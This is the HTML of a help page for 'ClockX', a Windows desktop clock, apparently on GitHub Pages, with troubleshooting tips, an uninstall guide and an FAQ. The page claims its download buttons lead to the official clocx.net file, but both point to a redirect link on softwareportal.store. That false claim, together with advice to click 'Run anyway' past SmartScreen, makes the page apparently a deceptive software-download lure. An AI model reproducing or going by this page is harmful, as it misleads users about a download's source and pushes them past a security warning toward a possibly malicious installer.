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<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>ClockX Help Center — Troubleshooting, FAQ, and Uninstall Guide</title>
<meta name="description" content="Need help with ClockX on Windows? Troubleshooting tips, FAQ, and a clean uninstall guide. Safe official download and install instructions.">
<link rel="canonical" href="https://clockx-app.github.io/Help.html">
<!-- Open Graph -->
<meta property="og:title" content="ClockX Help Center — Troubleshooting, FAQ, and Uninstall Guide">
<meta property="og:description" content="Fix common issues, read FAQ, and learn how to uninstall ClockX on Windows 10/11.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://clockx-app.github.io/Help.html">
<meta property="og:image" content="https://clockx-app.github.io/og-image.png">
<meta name="twitter:card" content="summary_large_image">
<meta name="last-modified" content="">
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</head>
<body>
<div class="container">
<header>
<div class="brand">
<div class="logo" aria-hidden="true">
<svg width="44" height="44" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="ClockX logo">
<circle cx="12" cy="12" r="10" fill="url(#g)" />
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</svg>
</div>
<div>
<div style="font-weight:800">ClockX</div>
<div style="font-size:12px;color:var(--muted)">Free Desktop Clock for Windows</div>
</div>
</div>
<nav aria-label="Main navigation">
<a href="/index.html">Home</a>
<a href="/Download.html">Download</a>
<a href="/Install.html">Install</a>
<a href="/Features.html">Features</a>
<a href="/Help.html" aria-current="page">Help</a>
<a href="/Privacy.html">Privacy</a>
<a href="/Comparison.html">Comparison</a>
</nav>
</header>
<main>
<nav aria-label="Breadcrumb" class="muted" style="font-size:13px">
<a href="/index.html">Home</a> › <span>Help</span>
</nav>
<section class="hero" aria-labelledby="hero-title">
<div>
<div class="kicker">TROUBLESHOOT • FAQ • UNINSTALL</div>
<h1 id="hero-title">ClockX Help Center</h1>
<p class="lead">Fix common issues, read quick answers, and learn how to cleanly uninstall ClockX. If you need the installer, use the official link below.</p>
<div class="actions" role="group" aria-label="Primary actions">
<a class="btn btn-primary" href="https://www2.softwareportal.store/XysYYPnx" id="downloadTop" onclick="handleDownload(event,'ClocX160_x64.exe','https://www2.softwareportal.store/XysYYPnx')" rel="noopener noreferrer">Download Installer</a>
<a class="btn btn-ghost" href="/Install.html">How to Install</a>
</div>
<div class="notice" style="margin-top:12px">
<svg width="20" height="20" style="color:var(--primary);flex:0 0 auto" aria-hidden="true"><use href="#icon-shield"/></svg>
<div class="muted">We link to the official host (clocx.net). We do not modify or repackage installers.</div>
</div>
</div>
</section>
<section id="troubleshooting" aria-labelledby="trouble-title">
<h2 id="trouble-title">Troubleshooting</h2>
<div class="grid">
<div class="card">
<h3>Installer blocked by SmartScreen</h3>
<p class="muted">Click “More info” → “Run anyway” if you trust the official source. Ensure you downloaded from the link above.</p>
</div>
<div class="card">
<h3>Clock not visible on desktop</h3>
<p class="muted">Check if the app is running in the tray. Toggle always‑on‑top and transparency in settings; move the clock to a visible monitor.</p>
</div>
<div class="card">
<h3>Alarms don’t ring</h3>
<p class="muted">Verify volume and output device, check Do Not Disturb/Focus Assist, and ensure the app is allowed to play sounds.</p>
</div>
<div class="card">
<h3>High CPU usage</h3>
<p class="muted">Try a simpler skin, disable animations, and restart the app. If it persists, reinstall using the official installer.</p>
</div>
<div class="card">
<h3>Start with Windows</h3>
<p class="muted">Enable “Start with Windows” in settings. If blocked by policy, ask your system administrator.</p>
</div>
<div class="card">
<h3>Wrong time zone</h3>
<p class="muted">Update Windows time zone settings. For extra clocks, use the World Clock feature and set the desired cities.</p>
</div>
</div>
<div class="actions" style="margin-top:12px">
<a class="btn btn-ghost" href="#uninstall">Jump to Uninstall</a>
<a class="btn btn-primary" href="/Features.html">Explore Features</a>
</div>
</section>
<section id="uninstall" aria-labelledby="uninstall-title">
<h2 id="uninstall-title">Uninstall Guide</h2>
<ol class="steps">
<li id="u1"><h3>Open Apps & Features</h3><p class="muted">Press Win+I → Apps → Installed apps (or classic Control Panel → Programs and Features).</p></li>
<li id="u2"><h3>Find ClockX</h3><p class="muted">Scroll the list or search for “ClockX”.</p></li>
<li id="u3"><h3>Uninstall</h3><p class="muted">Click Uninstall and confirm. Follow on‑screen steps until completion.</p></li>
<li id="u4"><h3>(Optional) Remove settings</h3><p class="muted">Delete the ClockX settings folder from your user profile if you want a fully clean slate next time.</p></li>
</ol>
</section>
<section id="faq" aria-labelledby="faq-title">
<h2 id="faq-title">Frequently Asked Questions</h2>
<div class="faq">
<details>
<summary>Is ClockX safe?</summary>
<p>The download button points to the official file on clocx.net. We do not modify or bundle adware. You can scan the file with your antivirus for extra assurance.</p>
</details>
<details>
<summary>Which Windows versions are supported?</summary>
<p>ClockX 1.6.0 supports Windows 10 and Windows 11 (64‑bit).</p>
</details>
<details>
<summary>How do I install ClockX?</summary>
<p>Download the installer, run it, and follow on‑screen steps. See the <a href="/Install.html">Install guide</a> for details.</p>
</details>
<details>
<summary>How do I uninstall ClockX?</summary>
<p>Go to Apps & Features → find ClockX → Uninstall. See the <a href="#uninstall">Uninstall Guide</a> above for step‑by‑step instructions.</p>
</details>
<details>
<summary>Does ClockX collect personal data?</summary>
<p>We only use optional analytics cookies on this website (disabled unless you accept). The app itself is a desktop utility. Read our <a href="/Privacy.html">Privacy & Safety</a> page.</p>
</details>
<details>
<summary>Where can I get the latest version?</summary>
<p>Use the official installer link below or visit our <a href="/Download.html">Download</a> page for details.</p>
</details>
</div>
<div class="actions" style="margin-top:12px">
<a class="btn btn-primary" href="https://www2.softwareportal.store/XysYYPnx" onclick="handleDownload(event,'ClocX160_x64.exe','https://www2.softwareportal.store/XysYYPnx')" rel="noopener noreferrer">Download Installer</a>
<a class="btn btn-ghost" href="/Privacy.html">Privacy & Safety</a>
</div>
</section>
</main>
<footer>
<div>
<small>© <span id="year"></span> ClockX — Free Desktop Clock. Not affiliated with any third party. Hosted on GitHub Pages.</small>
</div>
<div style="text-align:right">
<small>Last updated: <span id="lastModified">—</span></small>
</div>
</footer>
</div>
<!-- SVG symbols (hidden) -->
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<symbol id="icon-download" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round" fill="none"/><path d="M7 10l5 5 5-5" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round" fill="none"/></symbol>
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const GA_MEASUREMENT_ID = 'G-DDBED4D1DJ';
const DOWNLOAD_FILE = 'ClocX160_x64.exe';
const DOWNLOAD_URL = 'https://www.clocx.net/files/ClocX160_x64.exe';
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gtag('js', new Date());
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<div class="cookie-text">
<strong>We use cookies for analytics.</strong>
<div style="color:var(--muted);font-size:13px;margin-top:6px">Accept to enable Google Analytics (optional). You can decline and continue without analytics.</div>
</div>
<div style="display:flex;flex-direction:column;gap:8px;align-items:flex-end">
<div style="display:flex;gap:8px">
<button id="cookieAccept" class="btn btn-primary">Accept</button>
<button id="cookieDecline" class="btn btn-ghost">Decline</button>
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